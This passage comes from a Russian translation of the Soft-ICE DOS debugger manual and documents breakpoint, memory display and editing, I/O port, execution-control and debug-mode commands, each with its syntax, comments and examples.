программного прерывания. Указывая как необязательный параметр значение
регистра AX, можно легко выделить определенные вызовы DOS или BIOS.
Если значение не определено, останов произойдет при выполнении прерывания,
определенного номером-прерывания. Это прерывание может быть аппаратным,
программным или внутренним прерыванием.
При выполнении прерывания необязательное значение сравнивается с указанным
регистром (AH, AL или AX). Если значение соответствует указанному регистру,
происходит останов.
Когда происходит останов, если прерывание было аппаратным, указатель инструк-
ции (CS:IP) будет указывать на первую инструкцию в процедуре обработки преры-
вания. Чтобы узнать, где происходило выполнение программы, когда произошло
прерывание, может использоваться команда INT?. Если прерывание было
программным, то при останове указатель инструкции (CS:IP) будет
указывать на инструкцию INT, вызвавшую останов.
Пример:
BPINT 21 AH=4C
Эта команда определяет точку останова на прерывание 21H.
Останов произойдет, когда будет вызвана функция DOS
4CH (завершить программу).
BPX
BPX -- Устанавливает/удаляет точку останова на выполнение
Синтаксис:
BPX [адрес] [C=счетчик]
Комментарии:
Команда BPX позволяет устанавливать или удалять точку останова типа point-and-
shoot на выполнение в исходном тексте. Когда курсор находится в окне кода,
адрес не требуется. Точка останова на выполнение устанавливается по адресу
текущего положения курсора. Если точка останова на выполнение уже была
установлена по адресу текущего положения курсора, то она будет
удалена.
Если окно кода не видимо или курсор - не в окне кода,
то должен быть определен адрес. Если определено только смещение, то
в качестве сегмента используется текущее значение регистра CS.
Техническое Примечание:
BPX использует для точек останова стиль прерывания 3, если указанный адрес
не принадлежит ROM. Это используется вместо регистра точек останова, чтобы
предоставить больше точек останова на выполнение. Если в ваших обстоятельствах
по некоторым причинам требуется использование регистра точек останова
(например, код не загружен) вы можете установить точку останова командой BPM.
Пример:
BPX.1234
Устанавливает точку останова на выполнение в строку 1234 исходного текста.
CSIP
CSIP -- Устанавливает определитель диапазона CS:IP
Синтаксис:
CSIP [OFF | [NOT] адрес-начала адрес-конца]
NOT -- Когда указан NOT, останов
произойдет только если указатель CS:IP
выйдет из указанного диапазона.
OFF -- Отменяет проверку CS:IP
Комментарии:
Команда CSIP вызывает останов, зависящий от положения указателя
инструкций, когда будут выполнены условия точки останова. Эта
функция часто полезна, когда программа подозревается в случайном
изменении кода вне своих границ.
Когда выполнены условия точки останова, регистры CS:IP сравниваются с
указанным диапазоном. Если они - в пределах диапазона, точка останова
активизируется. Для активизации останова, когда CS:IP - вне диапазона,
используйте параметр NOT.
Когда определен диапазон CSIP, он применяется ко ВСЕМ точкам останова, которые
активны в настоящее время.
Если параметры не определены, выводится текущий диапазон CSIP.
Пример:
CSIP NOT F000:0 FFFF: 0
Эта команда вызывает останов, который произойдет только
если CS:IP НЕ указывают в область ROM BIOS когда
выполнены условия точки останова.
BPAND
BPAND -- Ожидает срабатывания многих точек останова
Синтаксис:
BPAND список | * | OFF
список -- Ряд номеров-останова,
разделенных запятыми или пробелами
* -- Складывает по AND'у все точки останова
Комментарии:
Команда BPAND производит логическую операцию AND над двумя и более точками
останова, вызывая останов только, когда выполнены условия для всех точек
останова.
Иногда условия останова возникают, когда он вам не нужен, пока не будут
выполнены несколько различных условий. Команда BPAND позволяет определять
две или более точек останова, которые должны произойти перед производимым
действием. Эта функция позволяет устанавливать точки останова по более
сложным условиям.
Каждый раз, когда используется команда BPAND, указанные номера точек останова
добавляются к списку, пока не будет использована BPAND OFF.
Вы можете увидеть какие из номеров-останова объединены по AND'у, просматривая
список точек останова командой BL. Номера точек останова, объединенных по
AND'у, будут заканчиваться амперсантом (&).
Один раз объединенные по AND'у, точки останова остаются объединенными, пока не
будут удалены или пока BPAND не будет отключен.
Пример:
BPAND 0,2,3
Эта команда логически связывает условия точек останова 0, 2 и 3
между собой. Останов происходит, только когда выполнены условия всех
трех. Например, если, по крайней мере, однажды выполнены условия точек
останова 2 и 3, но условия точки останова 0 пока не выполнены вообще,
то действие не произойдет, пока не будут выполнены условия точки
останова 0.
4.3 Управление Точками Останова
Soft-ICE предоставляет несколько команд для управления точками останова.
Команды управления разрешают просматривать список, изменять, удалять,
активизировать и деактивировать точки останова. Точки останова идентифициру-
ются номерами-останова, которые являются шестнадцатеричный цифрами от 0 до F.
Вот команды управления точками останова:
BD -- Деактивирует точки останова
BE -- Активизирует точки останова
BL -- Выдает список точек останова
BPE -- Редактирует точку останова
BPT -- Использует точку останова как шаблон
BC -- Удаляет точки останова
BD
BD - Деактивирует точки останова
Синтаксис:
BD список | *
список -- Ряд номеров-останова, разделенных
запятыми или пробелами
* -- Деактивирует все точки останова
Комментарии:
Команда BD используется для временной деактивации точек останова. Они могут
вновь активизироваться командой BE (Активизировать точки останова).
Вы можете увидеть, какие из номеров-останова деактивированы, просматривая
список точек останова командой BL. Точки останова, которые деактивированы,
будут выделены звездочкой (*) после их номера-останова.
Пример:
BD 1,3
Эта команда временно деактивирует точки останова 1 и
3.
BE -- Активизирует точки останова
Синтаксис:
BE список | *
список -- Ряд номеров-останова, разделенных
запятыми или пробелами
* -- Активизирует все точки останова
Комментарии:
Команда BE используется для повторной активизации точек останова, которые были
деактивированы командой BD (Деактивировать точки останова).
Заметьте, что точка останова автоматически активизируется при ее определении.
Пример:
BE 3
Эта команда активизирует точку останова 3.
BL
BL -- Выдает список точек останова
Синтаксис:
BL
Комментарии:
Команда BL показывает все точки останова, установленные в настоящее время. Для
каждой точки останова BL выдает номер останова, условия точки останова,
состояние точки останова и счетчик.
Состояние точки останова - либо активизирована либо деактивирована. Если
точка останова деактивирована, после номера-останова выводится звездочка (*). Если
Если активная точка останова используется в команде BPAND, после номера-оста-
нова выводится символ (&). Самый последний вызвавший действие останов
выделяется подсветкой.
У команды BL нет параметров.
Пример:
BL
Эта команда показывает все точки останова, которые были
определены. Вот пример экрана, который показывает четыре
точки останова:
0) BPMB 1234:0000 W EQ 0010 C=03
1)*BPR B000:0000 B000:1000 W C=01
2) BPIO 0021 W NE 00FF C=01
3) BPINT 21 AH=4C C=01
Заметьте, что в этом примере, точке останова 1 предшествует
звездочка (*), показывающая, что она была деактивирована.
BPE
BPE -- Редактирует точку останова
Синтаксис:
BPE номер-останова
Комментарии:
Команда BPE загружает описание точки останова в строку редактирования для
модификации. Тогда команда может быть отредактирована с использованием клавиш
редактирования и повторно введена нажатием ВВОДа. Эта команда предоставляет
быстрый способ изменения параметров существующей точки останова.
Пример:
BPE 1
Эта команда перемещает описание точки останова 1
в строку редактирования и удаляет точку останова 1. Нажатие
клавиши ВВОД вызовет повторный ввод
точки останова.
BPT
BPT -- Использует точку останова как шаблон
Синтаксис:
BT номер-останова
Комментарии:
Команда BPT использует описание существующей точки останова как шаблон для
новой точки останова.
Описание существующей точки останова загружается в строку редактирования.
Точка останова, определяемая номером-останова, не изменяется. Эта команда
предлагает быстрый путь создания новой точки останова, похожей
на существующую точку останова.
Пример:
BPT 3
Эта команда помещает шаблон точки останова 3 в
строку редактирования. При нажатии клавиши ВВОД
добавляется новая точка останова.
BC
BC -- Удаляет точки останова
Синтаксис:
BC список | *
список -- Ряд номеров-останова, разделенных
запятыми или пробелами
* -- Удаляет все точки останова
Комментарии:
Команда BC используется, чтобы навсегда удалить одну или более точек останова.
Пример:
BC *
Эта команда удаляет все точки останова.
ГЛАВА 5
Использование Других Команд
5.1 Команды Вывода и Редактирования
5.2 Команды Портов ввода/вывода
5.3 Команды Передачи Управления
5.4 Команды Режима Отладки
5.5 Сервисные Команды
5.6 Специализированные Отладочные Команды
5.7 Команды работы с Окнами
5.8 Команды Настройки Отладчика
5.9 Команды Управления Экраном
5.10 Команды Работы с Символами и Строками Исходного Текста
5.1 Команды Вывода и Редактирования
Команды:
U -- Дизассемблировать инструкции или показать исходный текст
R -- Показать или изменить регистры
MAP -- Показать карту памяти системы
D -- Показать память в самом последнем
указанном формате
DB -- Показать память в формате байта
DW -- Показать память в формате слова
DD -- Показать память в формате двойного слова
E -- Редактировать память в самом последнем
указанном формате
EB -- Редактировать байты памяти
EW -- Редактировать слова памяти
ED -- Редактировать двойные слова памяти
INT? -- Показать последний номер прерывания
? Или H -- Показать информацию помощи
VER -- Показать номер версии Soft-ICE
U
U -- Дизассемблирует инструкции или показывает исходный текст
Синтаксис:
U [адрес] [L[=]длина]
длина -- Число инструкций
для дизассемблера
Комментарии:
Команда U показывает инструкции отлаживаемой программы.
Если длина не определена, по умолчанию принимается восемь строк, если
это возможно, или на одну строку меньше высоты экрана.
Если адрес не определен, команда дизассемблирует инструкции с адреса первого
байта за последним байтом, дизассемблированным предыдущей
командой. Если предыдущей команды дизассемблировать не было, за адрес
по умолчанию принимается текущий CS:IP.
Если видимо окно кода, инструкции выводятся в окне
кода.
Если для диапазона указанного адреса загружен исходный текст, в зависимости
от текущего режима работы с кодом, могут быть выведены исходные строки.
Пример:
U $-10
Эта команда дизассемблирует инструкции, начиная
за 10 (шестнадцатеричное) байтов до текущего адреса.
U .499
Эта команда выводит текущий файл с исходным текстом, начиная со строки 499.
Окно кода должно быть видимо и находиться в режиме исходного текста.
R
R -- Показать или изменить регистры
Синтаксис:
R название-регистра [ [ = ]значение] ]
название-регистра -- Любое из следующих:
AL, AH, AX, BL, BH,
BX, CL, CH, CX, DL,
DH, DX, DI, SI, BP,
SP, IP, CS, DS, ES, SS
Или FL
значение -- Если название-регистра - любое, кроме
FL, значение - шестнадцатеричное значение или
выражение. Если название регистра - FL, то
значение - серия из одного или более
следующие символов флагов, каждый
с предшествующим ему знаком плюс или
минус :
O (флаг Переполнения) (Overflow)
D (флаг Направления) (Direction)
I (флаг Прерывания) (Interrupt)
S (флаг Знака) (Sign)
Z (флаг Нуля) (Zero)
A (флаг Вспомогательного переноса) (Auxiliary carry)
P (флаг Паритета) (Parity)
C (флаг Переноса) (Carry)
Комментарии:
Команда R показывает или изменяет регистры
Без параметров выводит значения всех регистров и флагов,
а также инструкцию по адресу текущего CS:IP.
Если название регистра указано без значения, Soft-ICE показывает
текущие значения указанного регистра и
спрашивает у вас новое значение. Если название регистра - FL, установленные
флаги выводятся подсвеченными символами верхнего регистра; сброшенные
флаги выводятся без подсветки в нижнем регистре. Для сохранения
текущего значения регистра, нажмите ВВОД.
Если указаны и название регистра, и значение, содержимое указанного
регистра заменяется указанным значением.
Чтобы изменить значение флага, используйте FL как имя регистра, сопровождаемое
символами флагов, значения которых вы хотите переключить. Для установки флага
поставьте перед символом флага знак плюс. Чтобы сбросить флаг, поставьте перед
символом флага знак минус. Флаги могут быть указаны в любом порядке.
Примеры:
R AH 5
Эта команда устанавливает регистр AH равным 5.
R FL = OZP
Эта команда переключает значения флагов O, Z и P.
R FL
Эта команда выводит текущие значения флагов и
предоставляет возможность их изменения.
R FL O +A -C
Эта команда переключает значение флага O, устанавливает
флаг A и сбрасывает флаг C.
MAP
MAP -- Показать карту памяти системы
Синтаксис:
MAP
Комментарии:
Команда MAP выводит названия, местоположение и размеры компонент памяти
системы. Размер указывается в параграфах. Один параграф
эквивалентен 10 (шестнадцатеричное) байтам.
Компонент, на который в настоящее время указывает CS:IP, подсвечивается.
Используйте команду MAP когда:
* Произошел останов и CS:IP в неизвестной
области памяти.
* Вы хотите получить контроль над резидентной или системной
программой. Точка останова на диапазон может быть установлена
основываясь на адресе начала и размере, отраженных
командой MAP.
* Вы подозреваете программу или компонент системы
в записи поверх кода вне своей области памяти.
MAP используется, чтобы получить адрес памяти
области для использования в команде CSIP.
* Вам необходимо выяснить, какая резидентная программа перехватывает
определенные векторы прерываний.
Пример:
MAP
Вот - пример вывода, произведенного
командой:
Начало Длина
0000:0000 0040 Таблица Векторов Прерываний
0040:0000 0030 Переменные ROM BIOS
0070:0000 00FE Система ввода/вывода
016E:0000 06B7 DOS
0842:0000 02CE Таблицы файлов и Буферы DOS
A000:0000 5E00 Системная шина
F000:0000 1000 ROM BIOS
Версии DOS ниже, чем 3.1 выдают адреса программ
вместо вывода их названий.
D, DB, DW, DD
D, DB, DW, DD -- Показать память
Синтаксис:
D [размер] [адрес] [L[ = ]длина]
размер -- B -- Байт
W -- Слово
D -- Двойное Слово
длина -- Число байтов, которое должно быть
выведено.
Комментарии:
Команда D выводит содержимое памяти по указанному адресу.
Содержимое выдается в формате указанного размера. Если размер не
определен, вывод произойдет в последнем используемом формате. Для всех форм
также выдается ASCII представление.
Если адрес не определен, команда выводит память по адресу
начинающемуся с первого байта после последнего показанного байта.
Если длина не определена, по умолчанию принимается восемь строк или меньше
если высота окна меньше.
Если окно данных видимо, данные выводятся в окне данных
и длина игнорируется.
Пример:
DW DS:00 L=8
Эта команда показывает в формате слова (WORD) и в ASCII-
формате значение первых восьми байтов текущего
сегмента данных.
E, EB, EW, ED
E, EB, EW, ED -- Редактировать память
Синтаксис:
E [размер] адрес [список-данных]
Размер -- B -- Байт
W -- Слово
D -- Двойное Слово
список данных -- список объектов данных указанного размера
(Байты, Слова или Двойные Слова) или
строк в кавычках, разделенных запятыми
или пробелами. Строка может
начинаться одинарной или двойной
кавычкой.
Комментарии:
Команды E показывают содержимое памяти по указанному адресу и
позволяет вам редактировать значения.
Эта команда показывают содержимое памяти в формате ASCII и в
формате указанного размера.
Редактор памяти создан для быстрой ее модификации. Память можно редактировать
вводя ASCII-символы или вводя значения размером байт, слово или двойное
слово. Если размер не определен, будет принят последний использованный размер.
Вот клавиши редактирования памяти:
-- Перемещает курсор вверх
-- Перемещает курсор вниз
-- Перемещает курсор вправо
-- Перемещает курсор влево
ПРОБЕЛ -- Перемещает курсор на следующий элемент
TAB -- переключает между числовым и
ASCII-областями
ESC или
ВВОД -- Выход из редактора памяти
После ввода значения обновляются реальные ячейки памяти. Все числовые
значения - шестнадцатеричные числа. Для перехода между ASCII и числовой
областями экрана нажмите клавишу TAB.
Если окно данных видимо, данные редактируются в окне данных,
иначе данные редактируются в окне команд.
Длина данных по умолчанию принимается 8 строк, если в окне команд, или
равной размеру окна данных, если оно видимо.
При отсутствии параметров, курсор перемещается в окно данных, если
оно видимо. Если окно данных не видимо, данные редактируются в окне команд
по последнему отображенному или редактированному адресу.
Примеры:
EB 1000:0
Эта команда выводит в формате байта до шести строк,
содержащих как числовое, так и ASCII
представление значений данных, начиная с
ячейки 1000:0000. Вы можете редактировать значения
отображенных строк.
EB 8000:0 "Привет",0D
Эта команда заменяет значения, начинающиеся с ячейки
8000:0000, строкой "Привет", сопровождаемой знаком
возврата каретки.
INT?
INT? -- Выводит номер последнего прерывания
Синтаксис:
INT?
Комментарии:
Команда INT? отображает адрес и номер последнего происшедшего
прерывания.
Пример:
INT?
Вот пример экрана, выданного
командой INT?:
Last Interrupt: 16
At: 0070:0255
Этот пример показывает, что последним прерыванием, сгенерированным
системой перед вызовом окна Soft-ICE,
было прерывание 16 (шестнадцатеричный номер) по адресу
0070:0255H. Если последнее происшедшее прерывание было
программным, дизассемблирование кода по адресу
0070:0255H покажет инструкцию прерывания. Если это
было аппаратное прерывание, дизассемблирование кода
покажет команду, которая выполнялась когда
произошло аппаратное прерывание.
? Или H
? Или H -- Выводит справочную информацию
Синтаксис:
< ? | H > [команда | выражение]
Комментарии:
И команда ? и команда H выводят справочную информацию.
Если параметры не определены, система помощи выдает короткие описания всех
команд и операторов, по одному экрану за раз. Нажмите любую клавишу для
продолжения или нажмите ESC, чтобы выйти из выводимой справки.
Если указана команда, справка выводит более детальную информацию относительно
указанной команды, включая синтаксис команды и пример.
Если указано выражение, выражение вычисляется и результат
выводится в шестнадцатеричном, десятичном и ASCII-представлении.
Примеры:
? ALTKEY
Эта команда отображает информацию о
команде ALTKEY, включая синтаксис и
пример.
H 10 + 14*2
Эта команда выводит: 0038 00056 "8". Это -
шестнадцатеричное, десятичное и ASCII-представления
значения выражения "10 + 14*2".
VER
VER -- Выводит номер версии Soft-ICE
Синтаксис:
VER
Пример:
VER
Эта команда выводит версию Soft-ICE
и сообщение об авторских правах Nu-Mega Technologies.
5.2 Команды Портов ввода/вывода
Команды:
I или IB -- Ввод из байтового порта ввода/вывода
IW -- Ввод из порта ввода/вывода с размерностью в слово
O или OB -- Вывод в байтовый порт ввода/вывода
OW -- Вывод в порт ввода/вывода с размерностью в слово
I, IB, IW
I, IB, IW -- Ввод из порта ввода/вывода
Синтаксис:
I [размерность] порт
размерность -- B -- Байт
W -- Слово
порт -- байт или слово
Комментарии:
Команды ввода из порта используются для чтения и отображения значений из
аппаратного порта. Ввод может выполняться из портов с размерностью слово или
байт. Если размер не определен, то значение по умолчанию - байт.
Пример:
I 21
Эта команда отображает регистр маски первого
контроллера прерываний.
O, OB, OW
O, OB, OW, -- Вывод в порт ввода/вывода
Синтаксис:
O [размерность] порт значение
размерность -- B -- Байт
W -- Слово
порт -- байт или слово
значение -- байт для байтового порта или слово
для порта размерностью в слово
Комментарии:
Команды вывода в порт используются для записи значения в аппаратный порт.
Вывод может выполняться в порты размерностью байт или слово, если размер не
определен, то значение по умолчанию - байт.
Пример:
O 21 FF
Эта команда маскирует все прерывания для первого
контроллера прерываний.
5.3 Команды Передачи Управления
Команды:
X -- Выйти из окна Soft-ICE
G -- Перейти по адресу
T -- Протрассировать одну команду
P -- Программный шаг
HERE -- Исполнение программы до строки, в которой находится курсор
GENINT -- Вызов прерывания
EXIT -- Вызывает выход из текущей программы DOS'а
BOOT -- Перезагрузка системы (с сохранением Soft-ICE)
HBOOT -- Жесткая перезагрузка системы (общий сброс)
X
X -- Выйти из окна Soft-ICE
Синтаксис:
X
Комментарии:
Команда X производит выход из окна Soft-ICE и возвращает управление
программе, которая была прервана при вызове Soft-ICE.
Окно Soft-ICE
исчезает. Если до этого были установлены точки останова, они станут активными.
Пример:
X
G
G -- Перейти по адресу
Синтаксис:
G [=адрес-начала] [адрес-останова]
Комментарии:
Команда G вызывает выход из окна Soft-ICE с одноразовым набором точек останова
на выполнение. Кроме того, активизируются все "прилипающие" точки останова.
Если не указан параметр адрес-начала, выполнение начинается с текущего CS:IP.
В противном случае выполнение начинается с адреса-начала. Выполнение
продолжается, пока не достигается адрес-останова, используется комбинация
клавиш для вызова окна или не выполняется "прилипающая" точка останова.
Адрес останова должен указывать на первый байт опкода команды.
Когда достигается указанный адрес-останова, текущий CS:IP будет указывать на
команду, где была установлена точка останова.
Команда G без параметров ведет себя также как команда X.
Обычная точка останова на выполнение использует 1 отладочный регистр 80386,
пока все отладочные регистры не будут распределены для "прилипающих" точек
останова. В этом случае, будет произведен останов в стиле INT 3. В таком
случае команды G и P не будут корректно работать в ПЗУ. При попытке их
использования будет выведено сообщение об ошибке.
Пример:
G CS:1234
Эта команда устанавливает временную точку останова на CS:1234
T
T -- Протрассировать одну команду
Синтаксис:
T [=адрес-начала] [счетчик]
Комментарии:
Команда T выполняет одиночный шаг на одну команду, используя флаг
трассировки.
Если параметр адрес-начала не указан, выполнение начинается с текущего
CS:IP. Если адрес-начала - определен, CS:IP изменяется на адрес-начала
для трассировки.
Если указано значение счетчика, Soft-ICE будет считать количество шагов.
Команда TRACE будет выполняться, пока счетчик не будет исчерпан или не
будет нажата клавиша Esc, независимо от достигнутых точек останова.
В режиме работы с исходным текстом команда T переходит на следующее выражение
в исходном тексте. Если текущее выражение - вызов процедуры или функции и есть
исходный текст вызываемой подпрограммы, T входит в нее. Если нет исходного
текста вызываемой процедуры или функции, T перешагивает через подпрограмму.
Пример:
T = 1284 3
Эта команда трассирует три инструкции,
начиная с ячейки памяти 1284.
P
P -- Программный шаг
Синтаксис:
P
Комментарии:
Команда P - логический шаг программы. По текущему CS:IP выполняется одна
команда, если она не является обращением, прерыванием, циклом или командой
повторения работы со строковыми данными. В этих случаях, прежде чем управление
возвращается Soft-ICE'у, выполняется вся подпрограмма или итерация.
Команда P использует одноразовую точку останова на выполнение. Обычная
точка останова на выполнение использует 1 отладочный регистр 80386,
пока все отладочные регистры не будут распределены для "прилипающих" точек
останова. В этом случае, будет произведен останов в стиле INT 3. В таком
случае команды G и P не будут корректно работать в ПЗУ. При попытке их
использования будет выведено сообщение об ошибке.
В режиме работы с исходным текстом команда P переходит на следующее выражение
в исходном тексте. Если текущее выражение - вызов процедуры или функции, P
перешагивает через подпрограмму.
Пример:
P
Эта команда выполняет один 'программный шаг'.
HERE
HERE -- Исполнение программы до строки, в которой находится курсор
Синтаксис:
HERE
Комментарии:
Команда HERE выполняется, пока программа не достигает текущей строки курсора.
HERE доступна, только когда курсор находится в окне кода. Если
окно кода не видимо или курсор - не в окне кода, используйте
вместо этого команду G.
Команда HERE вызывает выход из окна Soft-ICE с одноразовым набором точек
останова на выполнение. Кроме того, активизируются все "прилипающие" точки
останова.
Выполнение начинается с текущего CS:IP и продолжается до встречи адреса
текущей позиции курсора в окне кода, используется комбинация клавиш для
вызова окна и выполняется "прилипающая" точка останова.
Обычная точка останова на выполнение использует 1 отладочный регистр 80386,
пока все отладочные регистры не будут распределены для "прилипающих" точек
останова. В этом случае, будет произведен останов в стиле INT 3. В таком
случае команда HERE не будет корректно работать в ОЗУ. При попытке ее
использования будет выведено сообщение об ошибке.
Пример:
HERE
Этот пример устанавливает точку останова на выполнение на
текущую позицию курсора, затем выходит из Soft-ICE и
начинает выполнение с текущего CS:IP.
Заданная по умолчанию Функциональная клавиша: F7
GENINT
GENINT -- Вызов прерывания
Синтаксис:
GENINT INT1 | INT3 | NMI | номер-прерывания
номер-прерывания -- число в диапазоне 00 - FF
Комментарии:
Команда GENINT вызывает прерывание. Она может использоваться для передачи
управления другому отладчику при использовании Soft-ICE с другим отладчиком.
Она также может использоваться для проверки подпрограмм обработки прерываний.
Команда GENINT эмулирует последовательность обработки аппаратного
прерывания или команды INT. Она сохраняет флаги, регистр CS и регистр
IP, затем изменяет значение регистров CS и IP на значение входа в
таблицу векторов прерываний, в соответствии с указанным
номером прерывания.
Пример:
GENINT NMI
Это вызывает немаскируемое прерывание. Оно передаст
управление обратно CodeView, если Soft-ICE используется как
вспомогательное средство для CodeView.
EXIT
EXIT -- Вызывает выход из текущей программы DOS'а
Синтаксис:
EXIT [R] [D]
R -- Восстановить таблицу векторов прерываний
D -- Удалить все точки останова
Комментарии:
Команда EXIT пытается прерывать текущую программу, вызывая функцию выхода
DOS (INT 21H, функция 4CH). Эта команда будет работать только если DOS
находится в состоянии, когда она способна принять обращение к функции выхода.
Если это обращение произведено из некоторых обработчиков прерываний или в
других случаях, когда DOS не готова, поведение системы будет непредсказуемо.
Эта функция НЕ производит восстановления системных переменных, кроме таблицы
прерываний, при указанной опции R. Это означает что переменные BIOS,
видеорежимы и другие данные системного уровня не восстанавливаются.
Использование опции R вызовет восстановление векторов прерываний к значениям
которые были в последний раз, когда они были сохранены. Soft-ICE сохраняет
векторы прерываний, когда он загружается, когда LDR.EXE загружает программа
и когда используется команда VECS S.
Обратите внимание:
Для перезапуска программы, которая была загружена программой-загрузчиком
Soft-ICE'а (LDR.EXE) сделайте следующее:
EXIT R
LDR prog.EXE
Команда EXIT восстановит таблицу прерываний к значениям, которые
содержались в ней до загрузки программы, затем
выйдите к командному процессору. При помощи запуска LDR и указания суффикса
.EXE, программа загружается обратно без перезагрузки символов и исходного
текста. Символы и исходный текст останутся в памяти.
Внимание:
Команда EXIT должна использоваться с осторожностью. Так как Soft-ICE может
быть вызван в любое время, может произойти ситуация, когда DOS не в состоянии
принять обращение к функции выхода. Также, команда EXIT не производит никакого
специфического программного сброса. Например, команда EXIT не восстанавливает
видеорежим. Если ваша программа установила видео BIOS и аппаратные средства в
определенный видеорежим, они останутся в этом режиме после команды EXIT.
Пример:
EXIT R
Восстанавливает таблицу прерываниq и выходит из текущей
программы. Опция R должна использоваться при выходе из
программы, загруженной программным загрузчиком Soft-ICE'а
LDR.EXE.
BOOT
BOOT -- Перезагрузка системы (с сохранением Soft-ICE)
Синтаксис:
BOOT
Комментарии:
Команда BOOT перезагружает систему и сохраняет Soft-ICE. BOOT требуется для
отладки последовательности начальной загрузки, загружаемых драйверов DOS и
операционных систем отличных от DOS (non-DOS).
BOOT выполняется посредством вызова прерывания 19H ROM BIOS.
В некоторых
случаях память может быть разрушена до такой степени, что прерывание 19 не
будет работать. Тогда вызовите Soft-ICE и используйте команду HBOOT.
Для правильной работы BOOT Soft-ICE должен быть установлен как загружаемый
драйвер в CONFIG.SYS перед всеми другими драйверами устройств. Так Soft-ICE
сможет восстановить первоначальное состояние системы максимально точно.
Пример:
BOOT
Эта команда выполняет перезагрузку системы. Soft-ICE
остается резидентным.
HBOOT
HBOOT -- Жесткая перезагрузка системы (общий сброс)
Синтаксис:
HBOOT
Комментарии:
Команда HBOOT сбрасывает всю систему. Soft-ICE не сохраняется в
процессе сброса. HBOOT достаточна, если плата адаптера не требует отключения
питания. В этом случае, питание машины нужно отключить и затем восстановить.
Пример:
HBOOT
Эта команда производит перезагрузку системы. Soft-ICE
должен быть заново загружен.
5.4 Команды Режима Отладки
Команды:
ACTION -- Устанавливает действие после достижения точки останова
WARN -- Устанавливает режим предупреждения повторной входимости
DOS/ROM BIOS
BREAK -- Прерывает исполнение в любое время
I3HERE -- Перенаправить прерывание 3 на Soft-ICE
ACTION
ACTION -- Устанавливает действие после достижения точки останова
Синтаксис:
ACTION [INT1 | INT3 | NMI | HERE | int-номер]
int-номер -- Любой допустимый номер прерывания (0-FFH).
Используйте эту опцию только если пользовательская
подпрограмма-обработчик прерывания
перехватила этот вектор прерывания (смотрите
раздел 11.2).
Комментарии:
Команда ACTION определяет, куда передается управление, когда выполнены условия
точки останова. В большинстве случаев, желательное действие - INT3 или
HERE, INT3 обычно используется, если Soft-ICE используется вместе с главным
отладчиком, HERE используется, когда желательно вернуться в Soft-ICE при
выполнении условий останова, INT1 и NMI - варианты для некоторых отладчиков,
которые не работают с опцией INT3. Например, CODEVEW лучше всего
работает с ACTION установленным в NMI.
Используйте int-номер, если имеется установленная пользовательская процедура
обработки прерывания. Использование int-номера без установленной процедуры
пользователя по обработке прерывания вызовет ошибку. Для получения более
подробной информации, см. раздел 11.2, 'Пользовательские точки останова'.
Если параметры команды ACTION не указаны, отображается текущее
установленное действие.
Заданное по умолчанию действие - HERE.
Пример:
ACTION HERE
Эта команда указывает, что когда будут выполнены условия точки останова,
управление вернется Soft-ICE'у.
WARN
WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS
Синтаксис:
WARN [ON | OFF]
Комментарии:
Команда WARN предусмотрена для использования Soft-ICE с отладчиками, которые
используют DOS и ROM BIOS. Много отладчиков используют DOS и ROM BIOS для
вывода на экран и чтения нажатий клавиш. Так как DOS и ROM BIOS не полностью
реентерабельны, эти отладчики не могут корректно работать, если останов
происходит во время выполнения процедур DOS или ROM BIOS.
Если установлен WARN ON и ACTION - не HERE, то управление перейдет к Soft-ICE
до того как действие фактически произойдет. Система отобразит текущий CS:IP
и предоставит вам выбор продолжить или вернуться в Soft-ICE.
Вообще, вы должны выбрать возврат в Soft-ICE для продолжения вашей работы по
отладке. Продолжайте работу с главным отладчиком, только если вы знаете, что
ваш отладчик не вызовет повторного вхождения в DOS или ROM BIOS.
Режим WARN должен быть включен при использовании Soft-ICE с DEBUG, SYMDEB и
CODEVIEW.
Если параметры не указаны, отображается текущее состояние WARN.
Значение по умолчанию - режим WARN OFF.
Пример:
WARN ON
Эта команда включает режим предупреждения повторной входимости
в DOS/ROM BIOS.
BREAK
BREAK -- Прерывает исполнение в любое время
Синтаксис:
BREAK [ON | OFF]
Комментарии:
Команда BREAK позволяет вызывать окно Soft-ICE, когда система остановлена
с заблокированными прерываниями.
Режим BREAK может использоваться для всего
сеанса отладки или он может включаться и отключаться, когда это требуется.
Режим BREAK немного снижает эффективность системы. Это снижение
производительности должно оцениваться с точки зрения необходимости выхода из
зависшей программы. Пользователь может хотеть иметь включенный режим BREAK на
все время, даже при снижении эффективности, потому что программа может
зависнуть в любое время.
В отличие от других отладчиков, которые тоже могут быть вызваны в любое время,
Soft-ICE не требует внешнего переключателя. Когда BREAK - включен, окно Soft-
ICE может быть вызвано в любое время при нажатии текущей комбинации клавиш.
Если параметры не указаны, отображается текущее состояние BREAK.
Значение по умолчанию - BREAK OFF.
Пример:
BREAK ON
Эта команда включает режим BREAK. Это означает что
окно Soft-ICE может быть вызвано в любое время,
даже если прерывания заблокированы.
I3HERE
I3HERE -- Перенаправить прерывание 3 на Soft-ICE
Синтаксис:
I3HERE [ON | OFF]
Комментарии:
Команда I3HERE позволяет вам указать, что любое прерывание 3 вызовет
окно Soft-ICE. Эта возможность полезна для остановки вашей программы в
определенных местах.
Чтобы использовать эту возможность, поместите INT 3 в ваш код в месте, где
вы хотите остановиться. Когда произойдет INT 3, оно вызовет окно Soft-ICE.
В этой точке, вы можете использовать команду R IP, чтобы изменить ваш
указатель команд на команду, следующую после INT 3, затем вы можете
продолжить отладку.
Если параметры не указаны, отображается текущее состояние I3HERE.
Значение по умолчанию - режим I3HERE OFF.
Пример:
I3HERE ON
Эта команда включает режим I3HERE. Любой INT 3,
сгенерированный после этого, вызовет окно
Soft-ICE.
5.5 Сервисные Команды
Команды:
A -- Транслировать код
S -- Поиск данных
F -- Заполнить память данными
M -- Переместить данные
C -- Сравнить два блока данных
A
A -- Транслировать код
Синтаксис:
A [Адрес]
Комментарии:
Транслятор Soft- ICE позволяет вам транслировать команды непосредственно в
памяти. Транслятор поддерживает базисную систему команд 8086 с
расширениями для реального режима 80186 и 80286. Инструкции математического
сопроцессора и специфические для 80386 команды, регистры и режимы
адресации НЕ могут быть оттранслированы.
Команда A вызывает интерактивный транслятор Soft-ICE. В начале
каждой транслируемой строки отображается ее адрес. После того
как команда ассемблера набрана и нажат ВВОД, команды транслируются
в память по указанному адресу. Команды должны вводиться в стандартном
формате Intel. Для выхода из режима транслятора нажмите ВВОД в
пустой строке.
Если адресный интервал, в который вы транслируете команды, видим
в окне кода, команды будут изменятся интерактивно, по мере трансляции.
Транслятор Soft-ICE'а поддерживает стандартную мнемонику семейства 8086,
однако имеются некоторые специальные добавления:
* Мнемокод DB используется для указания байтов данных
